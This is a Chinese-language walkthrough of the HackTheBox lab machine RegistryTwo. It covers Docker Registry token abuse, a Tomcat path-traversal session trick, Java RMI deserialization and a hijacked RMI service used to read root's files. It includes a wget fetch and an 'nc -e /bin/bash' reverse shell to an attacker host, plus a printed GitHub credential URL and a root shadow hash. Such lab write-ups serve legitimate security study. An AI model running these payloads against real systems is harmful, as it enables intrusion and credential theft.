基本信息
- https://app.hackthebox.com/machines/RegistryTwo
- 10.10.11.223

端口扫描
22,443,5000,5001:
1 | nmap -sC -sV -Pn 10.10.11.223 |
443
需要加hosts:
1 | 10.10.11.223 www.webhosting.htb |
一个FREE WEB HOSTING:

5000/5001
5000直接访问是空白,5001是Acme auth server:

因为5000端口是空白,搜索测试发现是Docker Registry:
- 5000 - Pentesting Docker Registry - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry
需要认证:

Docker Registry
5000需要认证,5001是auth server,那这两个应该是结合使用的,5001端口进行目录扫描发现auth端点:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u "https://10.10.11.223:5001/" -k |
直接访问得到一个JWT:

根据文档,5000端口使用这个token:
- Token Authentication Implementation | Docker Documentation
https://docs.docker.com/registry/spec/auth/jwt/
直接使用响应invalid_token,但响应信息中也给出了提示信息,service=”Docker registry”,scope=”registry:catalog:*”:

_catalog
根据前面的响应信息修改auth请求,再次测试,得到hosting-app:
1 | https://webhosting.htb:5001/auth?service=Docker+registry&scope=registry:catalog:* |

hosting-app tags
然后就可以根据name生成对应token,再次请求,获取对应repo的tags:
1 | https://webhosting.htb:5001/auth?service=Docker+registry&scope=repository:hosting-app:pull |

##hosting-app manifest
同样修改请求,根据tag获取manifest:
1 | https://webhosting.htb:5000/v2/hosting-app/manifests/latest |

DockerRegistryGrabber
然后就可以使用已经获得的信息,修改DockerRegistryGrabber,dump对应镜像:
- Syzik/DockerRegistryGrabber: Enumerate / Dump Docker Registry
https://github.com/Syzik/DockerRegistryGrabber
删除代码里的用户名密码选项,设置代理让脚本流量走burp,然后burp添加一条规则添加认证头:

修改后即可dump对应镜像:
1 | export ALL_PROXY=http://127.0.0.1:8080 |


hosting-app
得到的其中一个压缩包中,得到一个tomcat war包:
1 | 4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42.tar.gz |

reconfigure
根据代码,需要session中有s_IsLoggedInUserRoleManager才能进入reconfigure,而又因为是nginx加tomcat的搭配,可以利用这种方式进入session页面:
- Tomcat - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal-.. - Breaking Parser Logic - Take Your Path Normalization Off and Pop 0days Out
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
1 | hosting/WEB-INF/classes/com/htb/hosting/services/ConfigurationServlet.class |

1 | https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample |

所以可以自己设置s_IsLoggedInUserRoleManager,然后进入reconfigure页面:

提交修改,可以任意添加参数,例如修改mysql.host可以收到请求:


EditFileSessionManager LFI
另外EditFileSessionManager中可以知道编辑文件也是通过session,并且得到session name格式:
1 | hosting/WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSessionManager.class |

结合hosts那边得到的文件名修改session对应的实际文件路径值,可以达成LFI效果(实际上后面也没用到这部分):


/etc/hosting.ini
Hosting.ini中可以得到mysql密码(也是一样,后面不需要这部分):
1 | Mon Jan 30 21:05:01 GMT 2023 |
RMI
代码中也可以发现RMI相关的:
1 | hosting/WEB-INF/classes/com/htb/hosting/rmi/RMIClientWrapper.class |

存在简单的校验,基础的00即可绕过:


RMI shell
现在的场景是我们能够控制rmi server,那就可以向客户端发送恶意数据打反序列化:
- Java RMI 攻击由浅入深 | 素十八
https://su18.org/post/rmi-attack/ - qtc-de/remote-method-guesser: Java RMI Vulnerability Scanner
https://github.com/qtc-de/remote-method-guesser#listen
简单测试发现可以执行命令(没有curl那些,wget可以):
1 | java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-master-SNAPSHOT.jar 10.10.14.7 9002 CommonsCollections6 'wget 10.10.14.7:7777/test' |


reverse shell
有nc并且支持-e
参数,直接reverse shell,打到app用户,在一个docker容器中,app用户并不能ssh登录,后续操作还是只能通过这个reverse shell:
1 | java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso ysoserial-master-SNAPSHOT.jar 10.10.14.7 9002 CommonsCollections6 'nc 10.10.14.7 4444 -e /bin/bash' |

RMIClient
前面可以看到rmi连接registry.webhosting.htb,查看hosts可以知道这是本地服务:

需要自己写一个RMIClient来利用Fileservice查看目录,读取文件,代码附在后面了,注意包名需要一致,其他代码就是直接复制,RMIClientWrapper简单改一下去掉setting那些,直接指定host和端口,然后自定义RMIClient,第一个参数用到的vhost id是自己在443端口主站创建domain后分配的id,list用来查看目录,view用来读取文件,从/etc/passwd知道developer用户,然后再去看对应目录,最终得到一组账号密码:
(view函数有重载,可以不写vhostid,这样文件名需要是加密的,直接用CryptUtil就行)
1 | https://irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9@github.com |


RMIClient
1 | package com.htb.hosting.rmi; |
user flag
得到的密码就是developer用户密码,直接ssh登录:

quarantine
简单枚举发现两个jar,registry.jar是rmi server,其中还提供了quarantine registry,quarantine.jar会去调用它:
1 | /opt/registry.jar |
分析代码可以知道quarantine registry只有一个用来获取配置信息的函数,quarantine.jar使用clamav根据获取到的配置信息进行操作:


根据代码,大概流程就是quarantine.jar从rmi获取配置信息,使用clamav对monitorDirectory进行相关操作,目标目录是quarantineDirectory
那如果我们能够控制提供的配置信息呢,就可以尝试任意输入目录和输出目录
并且根据代码,源文件路径信息会通过socket发到配置文件中指定的server,所以host也改为我们自己的,开启监听,来根据接收到的信息获取输入目录中的文件名:

rmi server 劫持
修改代码,只需要修改QuarantineServiceImpl中提供的参数即可:
1 | private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/miao"), new File("/root"), "10.10.14.7", 3310, 1000); |
然后因为原本服务在运行中,使用while循环尝试进行劫持:
1 | target |
等待劫持服务成功,并且等待root自动运行quarantine.jar获取我们修改后的配置:

我们的监听中也到了源目录中的文件路径:

然后就能够在我们修改的目标目录中得到修改的monitorDirectory中的文件,同样是在.git-credentials文件中得到密码:
1 | zSCAN /root/.git-credentialsConnection from 10.10.11.223:51204 |

root flag
得到的密码切换到root:

shadow
1 | root:$6$13hvGW.I$YCuyWm/Tie7PQpD00mvvjyRKAzUEOuE.ULQ/UvZkfnMi4fN2Vt2SnWO2GPKqfEwRvAXbFQ1TG1JpbC1b261T9/:19390:0:99999:7::: |
参考资料
- 5000 - Pentesting Docker Registry - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry - Token Authentication Implementation | Docker Documentation
https://docs.docker.com/registry/spec/auth/jwt/ - Syzik/DockerRegistryGrabber: Enumerate / Dump Docker Registry
https://github.com/Syzik/DockerRegistryGrabber - Tomcat - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal-.. - Breaking Parser Logic - Take Your Path Normalization Off and Pop 0days Out
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf - Java RMI 攻击由浅入深 | 素十八
https://su18.org/post/rmi-attack/ - qtc-de/remote-method-guesser: Java RMI Vulnerability Scanner
https://github.com/qtc-de/remote-method-guesser#listen